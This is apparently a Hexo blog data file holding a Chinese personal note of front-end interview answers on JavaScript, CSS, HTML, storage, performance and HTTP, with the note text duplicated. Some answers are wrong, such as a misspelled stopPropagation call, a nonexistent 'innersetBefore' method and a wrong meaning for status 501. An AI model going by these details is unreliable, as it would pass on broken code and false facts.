id=\"3种强制类型转换两种隐式类型转换\"><a href=\"#3种强制类型转换两种隐式类型转换\" class=\"headerlink\" title=\"3种强制类型转换两种隐式类型转换\"></a>3种强制类型转换两种隐式类型转换</h4><ul>\n<li>parseInt parseFloat number</li>\n<li>== - ===</li>\n</ul>\n<h4 id=\"数组方法pop-push-unshift-shift\"><a href=\"#数组方法pop-push-unshift-shift\" class=\"headerlink\" title=\"数组方法pop() push() unshift() shift()\"></a>数组方法pop() push() unshift() shift()</h4><ul>\n<li>push() 尾部添加 pop() 尾部删除</li>\n<li>unshift() 头部添加 shift() 头部删除</li>\n</ul>\n<h4 id=\"ajax请求-get-和-post-的区别\"><a href=\"#ajax请求-get-和-post-的区别\" class=\"headerlink\" title=\"ajax请求 get 和 post 的区别\"></a>ajax请求 get 和 post 的区别</h4><ul>\n<li>一个在 url 后面，一个放在虚拟载体里面</li>\n<li>有大小限制</li>\n<li>安全问题</li>\n<li>应用不同 </li>\n</ul>\n<h4 id=\"call-和-apply-的区别\"><a href=\"#call-和-apply-的区别\" class=\"headerlink\" title=\"call 和 apply 的区别\"></a>call 和 apply 的区别</h4><ul>\n<li>object.call(this, obj1,obj2,obj3)</li>\n<li>object.apply(this, argument)</li>\n</ul>\n<h4 id=\"ajax-请求时，如何解析-json-数据\"><a href=\"#ajax-请求时，如何解析-json-数据\" class=\"headerlink\" title=\"ajax 请求时，如何解析 json 数据\"></a>ajax 请求时，如何解析 json 数据</h4><ul>\n<li>使用eval parse，介于安全性考虑 使用parse 更靠谱</li>\n<li>eval 可以解析任何字符串，parse只解析json格式的字符串</li>\n</ul>\n<h4 id=\"闭包是什么？\"><a href=\"#闭包是什么？\" class=\"headerlink\" title=\"闭包是什么？\"></a>闭包是什么？</h4><ul>\n<li>闭包就是能够读取其他函数内部变量的函数</li>\n</ul>\n<h4 id=\"添加-删除-替换-插入到某个节点的方法\"><a href=\"#添加-删除-替换-插入到某个节点的方法\" class=\"headerlink\" title=\"添加 删除 替换 插入到某个节点的方法\"></a>添加 删除 替换 插入到某个节点的方法</h4><ul>\n<li>obj.appendChild()</li>\n<li>obj.innersetBefore()</li>\n<li>obj.replaceChild()</li>\n<li>obj.removeChild()</li>\n</ul>\n<h4 id=\"javascript-同源策略\"><a href=\"#javascript-同源策略\" class=\"headerlink\" title=\"javascript 同源策略\"></a>javascript 同源策略</h4><ul>\n<li>一段脚本只能读取来自同一来源的穿考核文档的属性，同源：指主机名，协议和端口号的组合</li>\n</ul>\n<h4 id=\"编写一个-b-继承-a-的方法\"><a href=\"#编写一个-b-继承-a-的方法\" class=\"headerlink\" title=\"编写一个 b 继承 a 的方法\"></a>编写一个 b 继承 a 的方法</h4><pre><code>  function A(name) {\n      this.name = name;\n      this.sayHello = function(){alert(this.name+ &quot;say hello!&quot;)}\n  }\n\n  function B(name, id) {\n      this.temp = A\n      this.temp(name)\n      delete this.temp\n      this.id = id\n      this.checkId = function(ID) {alert(this.id == ID)}\n  }\n</code></pre><h4 id=\"如何阻止事件冒泡和默认事件\"><a href=\"#如何阻止事件冒泡和默认事件\" class=\"headerlink\" title=\"如何阻止事件冒泡和默认事件\"></a>如何阻止事件冒泡和默认事件</h4><pre><code>  function stopBubble(e) {\n      if (e &amp;&amp; e.stopPropagation) {\n          e.stopPropgation ()\n      } else {\n          window.event.cancelBubble = true\n      }\n      return false\n  }\n</code></pre><h4 id=\"谈谈this对象的理解\"><a href=\"#谈谈this对象的理解\" class=\"headerlink\" title=\"谈谈this对象的理解\"></a>谈谈this对象的理解</h4><ul>\n<li>this 是 js 的一个关键字， 随着函数使用场合不同，this的值会发生变化</li>\n<li>但是有一个原则，this 指向的就是调用函数的那个对象</li>\n<li>this 一般情况下： 是指全局对象global， 如果作为方法调用，就指向这个对象</li>\n</ul>\n<h4 id=\"简单讲下-node-的使用场景\"><a href=\"#简单讲下-node-的使用场景\" class=\"headerlink\" title=\"简单讲下 node 的使用场景\"></a>简单讲下 node 的使用场景</h4><ul>\n<li>高并发，聊天，实时消息推送</li>\n</ul>\n<h4 id=\"node-的优点和缺点提出自己的看法\"><a href=\"#node-的优点和缺点提出自己的看法\" class=\"headerlink\" title=\"node 的优点和缺点提出自己的看法\"></a>node 的优点和缺点提出自己的看法</h4><ul>\n<li><p>优点： node是基于时间驱动和无阻塞的，所以非常适合处理并发请求，因此构建在node上的代理服务器相比其他技术实现的服务器表现要好的多，与node代理服务器交互的客户端代码也是用js写的，用的相同的语言，这感觉前后端非常亲切和美妙</p>\n</li>\n<li><p>缺点： node是一个相对比较新的开源项目，所以不太稳定，它总是在变，而且缺少足够多的第三方库的支持</p>\n</li>\n</ul>\n<h4 id=\"常用的一款框架\"><a href=\"#常用的一款框架\" class=\"headerlink\" title=\"常用的一款框架\"></a>常用的一款框架</h4><ul>\n<li>vuejs reactjs jQuery angular</li>\n</ul>\n<h3 id=\"CSS-表现层\"><a href=\"#CSS-表现层\" class=\"headerlink\" title=\"CSS (表现层)\"></a>CSS (表现层)</h3><h4 id=\"清除浮动\"><a href=\"#清除浮动\" class=\"headerlink\" title=\"清除浮动\"></a>清除浮动</h4><ul>\n<li>使用clear</li>\n<li>使用overflow</li>\n<li>使用css的*：after</li>\n</ul>\n<h4 id=\"居中设置\"><a href=\"#居中设置\" class=\"headerlink\" title=\"居中设置\"></a>居中设置</h4><p>1· 水平居中</p>\n<ul>\n<li>flex布局<blockquote>\n<p>设置justify-content：center；</p>\n</blockquote>\n</li>\n</ul>\n<p>2· 垂直居中</p>\n<ul>\n<li>多行文本（内联元素）<blockquote>\n<p>a: 插入 table ，再设置vertical-align: middle;<br>b: 先设置display： table-cell；再设置vertical-align: middle;</p>\n</blockquote>\n</li>\n</ul>\n<h4 id=\"link-和-import的区别\"><a href=\"#link-和-import的区别\" class=\"headerlink\" title=\"link 和 @import的区别\"></a>link 和 @import的区别</h4><ul>\n<li>link除了加载css，还能用于定义RSS，定义rel链接属性，import只能引入css</li>\n<li>页面加载时，link同时加载，而@import引用的css会等到页面被加载完之后再加载</li>\n<li>import 只在 ie5 以上被识别</li>\n</ul>\n<h4 id=\"css-盒子模型\"><a href=\"#css-盒子模型\" class=\"headerlink\" title=\"css 盒子模型\"></a>css 盒子模型</h4><ul>\n<li>content，padding，margin，border</li>\n</ul>\n<h4 id=\"css-选择符号\"><a href=\"#css-选择符号\" class=\"headerlink\" title=\"css 选择符号\"></a>css 选择符号</h4><ul>\n<li>id选择器</li>\n<li>类选择器</li>\n<li>标签选择器</li>\n<li>相邻选择器 + </li>\n<li>子选择器 &gt;</li>\n<li>后代选择器</li>\n<li>通配符选择器 *</li>\n<li>属性选择器 （a[rel = ‘external’])</li>\n<li>伪类选择器 hover nth-child</li>\n<li>优先级 <blockquote>\n<p>!important &gt; id &gt; class &gt; tag</p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"HTML-结构层\"><a href=\"#HTML-结构层\" class=\"headerlink\" title=\"HTML (结构层)\"></a>HTML (结构层)</h3><h4 id=\"什么是语义化的HTML\"><a href=\"#什么是语义化的HTML\" class=\"headerlink\" title=\"什么是语义化的HTML\"></a>什么是语义化的HTML</h4><ul>\n<li>直观的认识标签，有益于 SEO</li>\n<li>有利于开源之后阅读代码的人更容易阅读</li>\n<li>便于后期维护和理解</li>\n</ul>\n<h3 id=\"自动化编程\"><a href=\"#自动化编程\" class=\"headerlink\" title=\"自动化编程\"></a>自动化编程</h3><h4 id=\"前端自动化工具？\"><a href=\"#前端自动化工具？\" class=\"headerlink\" title=\"前端自动化工具？\"></a>前端自动化工具？</h4><ul>\n<li>gulp</li>\n<li>webpack</li>\n</ul>\n<h3 id=\"其他\"><a href=\"#其他\" class=\"headerlink\" title=\"其他\"></a>其他</h3><h4 id=\"描述一下cookies，sessionStorage-和localStorage的区别？\"><a href=\"#描述一下cookies，sessionStorage-和localStorage的区别？\" class=\"headerlink\" title=\"描述一下cookies，sessionStorage 和localStorage的区别？\"></a>描述一下cookies，sessionStorage 和localStorage的区别？</h4><ul>\n<li>cookie 在浏览器和服务器之间来回传递，SS和LS不会</li>\n<li>SS和LS 的储存空间更大</li>\n<li>SS和LS 有更多丰富易用的接口</li>\n<li>SS和LS 是有各自的储存空间</li>\n<li>LS 储存是永久性的，SS 关闭浏览器就没了</li>\n</ul>\n<h4 id=\"如何实现浏览器内多个标签之间的通信\"><a href=\"#如何实现浏览器内多个标签之间的通信\" class=\"headerlink\" title=\"如何实现浏览器内多个标签之间的通信\"></a>如何实现浏览器内多个标签之间的通信</h4><ul>\n<li>调用LS Cookies 等本地储存方式</li>\n</ul>\n<h4 id=\"IE6-BUG-的解决办法\"><a href=\"#IE6-BUG-的解决办法\" class=\"headerlink\" title=\"IE6 BUG 的解决办法\"></a>IE6 BUG 的解决办法</h4><ul>\n<li>双边距，float引起，使用display</li>\n<li>3像素问题，float引起， 使用display：inline-3px</li>\n<li>超链接 hover 点击失效， 注意顺序</li>\n<li>无法定义1px左右的宽度容器（使用overflow：hidden；zoom：0.08；line-height：1px）</li>\n</ul>\n<h4 id=\"你有哪些性能优化的方法\"><a href=\"#你有哪些性能优化的方法\" class=\"headerlink\" title=\"你有哪些性能优化的方法\"></a>你有哪些性能优化的方法</h4><ul>\n<li>减少http请求次数，css，js，html压缩，图片大小控制和压缩，网页cdn托管，data缓存，图片服务器</li>\n<li>前端模板 js + 数据，减少由于html导致的带宽浪费，减少请求次数，</li>\n<li>图片预加载，将样式表放在头部，脚本放在底部，加上时间戳</li>\n<li>用innerHTML代替dom操作，减少dom操作次数，优化js性能</li>\n<li>当需要设置的样式很多时，设置className而不是直接操作dom</li>\n<li>避免在页面的主体布局中使用table，table要在其中的内容完全下载完之后才会完全显示，显示div+css布局慢。普通网站有一个普遍的思路，就是尽量向前端化，减少数据库操作，减少磁盘IO，</li>\n<li>前端化：在不影响功能和体验的情况下，能在浏览器执行的不要在服务器执行，能在缓存服务器上直接返回的不要到应用服务器，程序能直接取到的结果不要到外部取，本机能取到的不要到远程取，内存能取到的不要到磁盘取，缓存中有的不要去数据库查询</li>\n<li>减少数据库操作指：减少更新次数，缓存结果减少查询次数，将数据库执行的操作尽可能的让你的操作完成，减少磁盘IO指尽量不适用文件系统作为缓存，减少读写文件次数等。</li>\n<li>程序优化永远要优化慢的部分</li>\n</ul>\n<h4 id=\"http-状态码有哪些？分别代表啥意思？\"><a href=\"#http-状态码有哪些？分别代表啥意思？\" class=\"headerlink\" title=\"http 状态码有哪些？分别代表啥意思？\"></a>http 状态码有哪些？分别代表啥意思？</h4><ul>\n<li>100-199 用于指定客户端相应的某些动作</li>\n<li>200-299 用于表示请求成功</li>\n<li>300-399 用于已经移动的文件并且常被包含在定位头信息中指定新的地址信息</li>\n<li>400-499 用于指出客户端的错误。<blockquote>\n<p>400: 语义有误 401：当前请求需要用户验证 403: 服务器已经理解请求，但是拒绝执行他 404：页面找不到</p>\n</blockquote>\n</li>\n<li>500-599 用于支持服务器错误。501 服务器不可用</li>\n</ul>\n<h4 id=\"一个页面从输入-url-到页面显示完成，中间发生了什么？\"><a href=\"#一个页面从输入-url-到页面显示完成，中间发生了什么？\" class=\"headerlink\" title=\"一个页面从输入 url 到页面显示完成，中间发生了什么？\"></a>一个页面从输入 url 到页面显示完成，中间发生了什么？</h4><ul>\n<li>查找浏览器缓存</li>\n<li>DNS 解析，查找该域名对应的IP，重定向（301），发出第二个 get 请求</li>\n<li>进行HTTP 协议对话</li>\n<li>客户端发送报头</li>\n<li>文档开始下载</li>\n<li>文档树建立，根据标记请求所需指定mime类型的文件</li>\n<li>文件显示</li>\n<li>浏览器这边做的工作大致分为以下几步：<blockquote>\n<p>加载：根据请求的url进行域名解析，向服务器发起请求，接受文件（html，js，css，图像等）<br>解析：对加载到的资源（html，js，css）进行语法解析，建议相应的内部数据结构（比如html的dom树，js的属性表，css的样式表规则等等）</p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"总结\"><a href=\"#总结\" class=\"headerlink\" title=\"总结\"></a>总结</h3><ul>\n<li>怀着一颗空杯心态去看待事物，这样才会有进步，学无止境，我要走的路还很长</li>\n</ul>\n","site":{"data":{"links":{"Name":{"link":"http://example.com","avatar":"http://example.com/avatar.png","descr":"这是一个描述"}},"gallery":{"2018.03.17":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG20.jpeg","descr":"余杭、超山"},"2017.07.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/2017.07.29-2.jpeg","descr":"九江、铜鼓县、尖尾峡峡谷"},"2017.05.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb.jpg","descr":"木屋、曾经拥有"},"2017.04.10":{"full_link":"http://orjedzer5.bkt.clouddn.com/2.png","thumb_link":"http://orjedzer5.bkt.clouddn.com/2.png","descr":"研一608"},"2017.04.03":{"full_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/4.jpg","descr":"梅岭、骑行"},"2017.03.08":{"full_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/6.jpg","descr":"梅岭入口"},"2017.01.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/10.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/7.jpg","descr":"武汉、华科"},"2016.12.31":{"full_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/8.jpg","descr":"东理青春广场"},"2016.12.29":{"full_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/16.jpg","descr":"建筑工程学院元旦"},"2016.12.30":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%281%29.jpg","descr":"软件信工学院元旦"},"2016.10.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/12.jpg","descr":"英语俱乐部"},"2016.10.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/WechatIMG21.jpeg","descr":"九江、庐山"},"2016.10.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.10.02.jpeg","descr":"南昌、狮子峰"},"2016.05.04":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.04.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2016.05.03-2.jpg","descr":"骑行、白鹿洞书院、状元柱"},"2016.01.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%283%29.jpg","descr":"南昌、八一广场"},"2015.11.05":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%285%29.jpg","descr":"悠乐汇"},"2015.10.16":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.10.16.jpeg","descr":"北京、动漫大道"},"2015.05.02":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2015.05.02.jpeg","descr":"南昌、摩天轮"},"2014.10.22":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.10.22.jpeg","descr":"南昌、下罗"},"2014.10.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%286%29.jpg","descr":"东理、樱花广场"},"2014.07.12":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.07.12.jpeg","descr":"义乌、流浪"},"2014.06.18":{"full_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2014.06.18.jpeg","descr":"宜春学院"},"2013.06.27":{"full_link":"http://orjedzer5.bkt.clouddn.com/2013.06.27.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/psb%20%289%29.jpg","descr":"厦门、鼓浪屿"},"2012.01.28":{"full_link":"http://orjedzer5.bkt.clouddn.com/2012.02.05.jpeg","thumb_link":"http://orjedzer5.bkt.clouddn.com/blog/pic/2012.01.28.jpeg","descr":"鄱阳、芝山公园"}}}},"excerpt":"","more":"<p>整理一些面试题，以备用</p>\n<h2 id=\"技术分类\"><a href=\"#技术分类\" class=\"headerlink\" title=\"技术分类\"></a>技术分类</h2><h3 id=\"JS-行为层\"><a href=\"#JS-行为层\" class=\"headerlink\" title=\"JS (行为层)\"></a>JS (行为层)</h3><h4 id=\"typeof-返回哪些数据类型\"><a href=\"#typeof-返回哪些数据类型\" class=\"headerlink\" title=\"typeof 返回哪些数据类型\"></a>typeof 返回哪些数据类型</h4><ul>\n<li>obj num fun bool undefined</li>\n</ul>\n<h4 id=\"3种强制类型转换两种隐式类型转换\"><a href=\"#3种强制类型转换两种隐式类型转换\" class=\"headerlink\" title=\"3种强制类型转换两种隐式类型转换\"></a>3种强制类型转换两种隐式类型转换</h4><ul>\n<li>parseInt parseFloat number</li>\n<li>== - ===</li>\n</ul>\n<h4 id=\"数组方法pop-push-unshift-shift\"><a href=\"#数组方法pop-push-unshift-shift\" class=\"headerlink\" title=\"数组方法pop() push() unshift() shift()\"></a>数组方法pop() push() unshift() shift()</h4><ul>\n<li>push() 尾部添加 pop() 尾部删除</li>\n<li>unshift() 头部添加 shift() 头部删除</li>\n</ul>\n<h4 id=\"ajax请求-get-和-post-的区别\"><a href=\"#ajax请求-get-和-post-的区别\" class=\"headerlink\" title=\"ajax请求 get 和 post 的区别\"></a>ajax请求 get 和 post 的区别</h4><ul>\n<li>一个在 url 后面，一个放在虚拟载体里面</li>\n<li>有大小限制</li>\n<li>安全问题</li>\n<li>应用不同 </li>\n</ul>\n<h4 id=\"call-和-apply-的区别\"><a href=\"#call-和-apply-的区别\" class=\"headerlink\" title=\"call 和 apply 的区别\"></a>call 和 apply 的区别</h4><ul>\n<li>object.call(this, obj1,obj2,obj3)</li>\n<li>object.apply(this, argument)</li>\n</ul>\n<h4 id=\"ajax-请求时，如何解析-json-数据\"><a href=\"#ajax-请求时，如何解析-json-数据\" class=\"headerlink\" title=\"ajax 请求时，如何解析 json 数据\"></a>ajax 请求时，如何解析 json 数据</h4><ul>\n<li>使用eval parse，介于安全性考虑 使用parse 更靠谱</li>\n<li>eval 可以解析任何字符串，parse只解析json格式的字符串</li>\n</ul>\n<h4 id=\"闭包是什么？\"><a href=\"#闭包是什么？\" class=\"headerlink\" title=\"闭包是什么？\"></a>闭包是什么？</h4><ul>\n<li>闭包就是能够读取其他函数内部变量的函数</li>\n</ul>\n<h4 id=\"添加-删除-替换-插入到某个节点的方法\"><a href=\"#添加-删除-替换-插入到某个节点的方法\" class=\"headerlink\" title=\"添加 删除 替换 插入到某个节点的方法\"></a>添加 删除 替换 插入到某个节点的方法</h4><ul>\n<li>obj.appendChild()</li>\n<li>obj.innersetBefore()</li>\n<li>obj.replaceChild()</li>\n<li>obj.removeChild()</li>\n</ul>\n<h4 id=\"javascript-同源策略\"><a href=\"#javascript-同源策略\" class=\"headerlink\" title=\"javascript 同源策略\"></a>javascript 同源策略</h4><ul>\n<li>一段脚本只能读取来自同一来源的穿考核文档的属性，同源：指主机名，协议和端口号的组合</li>\n</ul>\n<h4 id=\"编写一个-b-继承-a-的方法\"><a href=\"#编写一个-b-继承-a-的方法\" class=\"headerlink\" title=\"编写一个 b 继承 a 的方法\"></a>编写一个 b 继承 a 的方法</h4><pre><code>  function A(name) {\n      this.name = name;\n      this.sayHello = function(){alert(this.name+ &quot;say hello!&quot;)}\n  }\n\n  function B(name, id) {\n      this.temp = A\n      this.temp(name)\n      delete this.temp\n      this.id = id\n      this.checkId = function(ID) {alert(this.id == ID)}\n  }\n</code></pre><h4 id=\"如何阻止事件冒泡和默认事件\"><a href=\"#如何阻止事件冒泡和默认事件\" class=\"headerlink\" title=\"如何阻止事件冒泡和默认事件\"></a>如何阻止事件冒泡和默认事件</h4><pre><code>  function stopBubble(e) {\n      if (e &amp;&amp; e.stopPropagation) {\n          e.stopPropgation ()\n      } else {\n          window.event.cancelBubble = true\n      }\n      return false\n  }\n</code></pre><h4 id=\"谈谈this对象的理解\"><a href=\"#谈谈this对象的理解\" class=\"headerlink\" title=\"谈谈this对象的理解\"></a>谈谈this对象的理解</h4><ul>\n<li>this 是 js 的一个关键字， 随着函数使用场合不同，this的值会发生变化</li>\n<li>但是有一个原则，this 指向的就是调用函数的那个对象</li>\n<li>this 一般情况下： 是指全局对象global， 如果作为方法调用，就指向这个对象</li>\n</ul>\n<h4 id=\"简单讲下-node-的使用场景\"><a href=\"#简单讲下-node-的使用场景\" class=\"headerlink\" title=\"简单讲下 node 的使用场景\"></a>简单讲下 node 的使用场景</h4><ul>\n<li>高并发，聊天，实时消息推送</li>\n</ul>\n<h4 id=\"node-的优点和缺点提出自己的看法\"><a href=\"#node-的优点和缺点提出自己的看法\" class=\"headerlink\" title=\"node 的优点和缺点提出自己的看法\"></a>node 的优点和缺点提出自己的看法</h4><ul>\n<li><p>优点： node是基于时间驱动和无阻塞的，所以非常适合处理并发请求，因此构建在node上的代理服务器相比其他技术实现的服务器表现要好的多，与node代理服务器交互的客户端代码也是用js写的，用的相同的语言，这感觉前后端非常亲切和美妙</p>\n</li>\n<li><p>缺点： node是一个相对比较新的开源项目，所以不太稳定，它总是在变，而且缺少足够多的第三方库的支持</p>\n</li>\n</ul>\n<h4 id=\"常用的一款框架\"><a href=\"#常用的一款框架\" class=\"headerlink\" title=\"常用的一款框架\"></a>常用的一款框架</h4><ul>\n<li>vuejs reactjs jQuery angular</li>\n</ul>\n<h3 id=\"CSS-表现层\"><a href=\"#CSS-表现层\" class=\"headerlink\" title=\"CSS (表现层)\"></a>CSS (表现层)</h3><h4 id=\"清除浮动\"><a href=\"#清除浮动\" class=\"headerlink\" title=\"清除浮动\"></a>清除浮动</h4><ul>\n<li>使用clear</li>\n<li>使用overflow</li>\n<li>使用css的*：after</li>\n</ul>\n<h4 id=\"居中设置\"><a href=\"#居中设置\" class=\"headerlink\" title=\"居中设置\"></a>居中设置</h4><p>1· 水平居中</p>\n<ul>\n<li>flex布局<blockquote>\n<p>设置justify-content：center；</p>\n</blockquote>\n</li>\n</ul>\n<p>2· 垂直居中</p>\n<ul>\n<li>多行文本（内联元素）<blockquote>\n<p>a: 插入 table ，再设置vertical-align: middle;<br>b: 先设置display： table-cell；再设置vertical-align: middle;</p>\n</blockquote>\n</li>\n</ul>\n<h4 id=\"link-和-import的区别\"><a href=\"#link-和-import的区别\" class=\"headerlink\" title=\"link 和 @import的区别\"></a>link 和 @import的区别</h4><ul>\n<li>link除了加载css，还能用于定义RSS，定义rel链接属性，import只能引入css</li>\n<li>页面加载时，link同时加载，而@import引用的css会等到页面被加载完之后再加载</li>\n<li>import 只在 ie5 以上被识别</li>\n</ul>\n<h4 id=\"css-盒子模型\"><a href=\"#css-盒子模型\" class=\"headerlink\" title=\"css 盒子模型\"></a>css 盒子模型</h4><ul>\n<li>content，padding，margin，border</li>\n</ul>\n<h4 id=\"css-选择符号\"><a href=\"#css-选择符号\" class=\"headerlink\" title=\"css 选择符号\"></a>css 选择符号</h4><ul>\n<li>id选择器</li>\n<li>类选择器</li>\n<li>标签选择器</li>\n<li>相邻选择器 + </li>\n<li>子选择器 &gt;</li>\n<li>后代选择器</li>\n<li>通配符选择器 *</li>\n<li>属性选择器 （a[rel = ‘external’])</li>\n<li>伪类选择器 hover nth-child</li>\n<li>优先级 <blockquote>\n<p>!important &gt; id &gt; class &gt; tag</p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"HTML-结构层\"><a href=\"#HTML-结构层\" class=\"headerlink\" title=\"HTML (结构层)\"></a>HTML (结构层)</h3><h4 id=\"什么是语义化的HTML\"><a href=\"#什么是语义化的HTML\" class=\"headerlink\" title=\"什么是语义化的HTML\"></a>什么是语义化的HTML</h4><ul>\n<li>直观的认识标签，有益于 SEO</li>\n<li>有利于开源之后阅读代码的人更容易阅读</li>\n<li>便于后期维护和理解</li>\n</ul>\n<h3 id=\"自动化编程\"><a href=\"#自动化编程\" class=\"headerlink\" title=\"自动化编程\"></a>自动化编程</h3><h4 id=\"前端自动化工具？\"><a href=\"#前端自动化工具？\" class=\"headerlink\" title=\"前端自动化工具？\"></a>前端自动化工具？</h4><ul>\n<li>gulp</li>\n<li>webpack</li>\n</ul>\n<h3 id=\"其他\"><a href=\"#其他\" class=\"headerlink\" title=\"其他\"></a>其他</h3><h4 id=\"描述一下cookies，sessionStorage-和localStorage的区别？\"><a href=\"#描述一下cookies，sessionStorage-和localStorage的区别？\" class=\"headerlink\" title=\"描述一下cookies，sessionStorage 和localStorage的区别？\"></a>描述一下cookies，sessionStorage 和localStorage的区别？</h4><ul>\n<li>cookie 在浏览器和服务器之间来回传递，SS和LS不会</li>\n<li>SS和LS 的储存空间更大</li>\n<li>SS和LS 有更多丰富易用的接口</li>\n<li>SS和LS 是有各自的储存空间</li>\n<li>LS 储存是永久性的，SS 关闭浏览器就没了</li>\n</ul>\n<h4 id=\"如何实现浏览器内多个标签之间的通信\"><a href=\"#如何实现浏览器内多个标签之间的通信\" class=\"headerlink\" title=\"如何实现浏览器内多个标签之间的通信\"></a>如何实现浏览器内多个标签之间的通信</h4><ul>\n<li>调用LS Cookies 等本地储存方式</li>\n</ul>\n<h4 id=\"IE6-BUG-的解决办法\"><a href=\"#IE6-BUG-的解决办法\" class=\"headerlink\" title=\"IE6 BUG 的解决办法\"></a>IE6 BUG 的解决办法</h4><ul>\n<li>双边距，float引起，使用display</li>\n<li>3像素问题，float引起， 使用display：inline-3px</li>\n<li>超链接 hover 点击失效， 注意顺序</li>\n<li>无法定义1px左右的宽度容器（使用overflow：hidden；zoom：0.08；line-height：1px）</li>\n</ul>\n<h4 id=\"你有哪些性能优化的方法\"><a href=\"#你有哪些性能优化的方法\" class=\"headerlink\" title=\"你有哪些性能优化的方法\"></a>你有哪些性能优化的方法</h4><ul>\n<li>减少http请求次数，css，js，html压缩，图片大小控制和压缩，网页cdn托管，data缓存，图片服务器</li>\n<li>前端模板 js + 数据，减少由于html导致的带宽浪费，减少请求次数，</li>\n<li>图片预加载，将样式表放在头部，脚本放在底部，加上时间戳</li>\n<li>用innerHTML代替dom操作，减少dom操作次数，优化js性能</li>\n<li>当需要设置的样式很多时，设置className而不是直接操作dom</li>\n<li>避免在页面的主体布局中使用table，table要在其中的内容完全下载完之后才会完全显示，显示div+css布局慢。普通网站有一个普遍的思路，就是尽量向前端化，减少数据库操作，减少磁盘IO，</li>\n<li>前端化：在不影响功能和体验的情况下，能在浏览器执行的不要在服务器执行，能在缓存服务器上直接返回的不要到应用服务器，程序能直接取到的结果不要到外部取，本机能取到的不要到远程取，内存能取到的不要到磁盘取，缓存中有的不要去数据库查询</li>\n<li>减少数据库操作指：减少更新次数，缓存结果减少查询次数，将数据库执行的操作尽可能的让你的操作完成，减少磁盘IO指尽量不适用文件系统作为缓存，减少读写文件次数等。</li>\n<li>程序优化永远要优化慢的部分</li>\n</ul>\n<h4 id=\"http-状态码有哪些？分别代表啥意思？\"><a href=\"#http-状态码有哪些？分别代表啥意思？\" class=\"headerlink\" title=\"http 状态码有哪些？分别代表啥意思？\"></a>http 状态码有哪些？分别代表啥意思？</h4><ul>\n<li>100-199 用于指定客户端相应的某些动作</li>\n<li>200-299 用于表示请求成功</li>\n<li>300-399 用于已经移动的文件并且常被包含在定位头信息中指定新的地址信息</li>\n<li>400-499 用于指出客户端的错误。<blockquote>\n<p>400: 语义有误 401：当前请求需要用户验证 403: 服务器已经理解请求，但是拒绝执行他 404：页面找不到</p>\n</blockquote>\n</li>\n<li>500-599 用于支持服务器错误。501 服务器不可用</li>\n</ul>\n<h4 id=\"一个页面从输入-url-到页面显示完成，中间发生了什么？\"><a href=\"#一个页面从输入-url-到页面显示完成，中间发生了什么？\" class=\"headerlink\" title=\"一个页面从输入 url 到页面显示完成，中间发生了什么？\"></a>一个页面从输入 url 到页面显示完成，中间发生了什么？</h4><ul>\n<li>查找浏览器缓存</li>\n<li>DNS 解析，查找该域名对应的IP，重定向（301），发出第二个 get 请求</li>\n<li>进行HTTP 协议对话</li>\n<li>客户端发送报头</li>\n<li>文档开始下载</li>\n<li>文档树建立，根据标记请求所需指定mime类型的文件</li>\n<li>文件显示</li>\n<li>浏览器这边做的工作大致分为以下几步：<blockquote>\n<p>加载：根据请求的url进行域名解析，向服务器发起请求，接受文件（html，js，css，图像等）<br>解析：对加载到的资源（html，js，css）进行语法解析，建议相应的内部数据结构（比如html的dom树，js的属性表，css的样式表规则等等）</p>\n</blockquote>\n</li>\n</ul>\n<h3 id=\"总结\"><a href=\"#总结\" class=\"headerlink\" 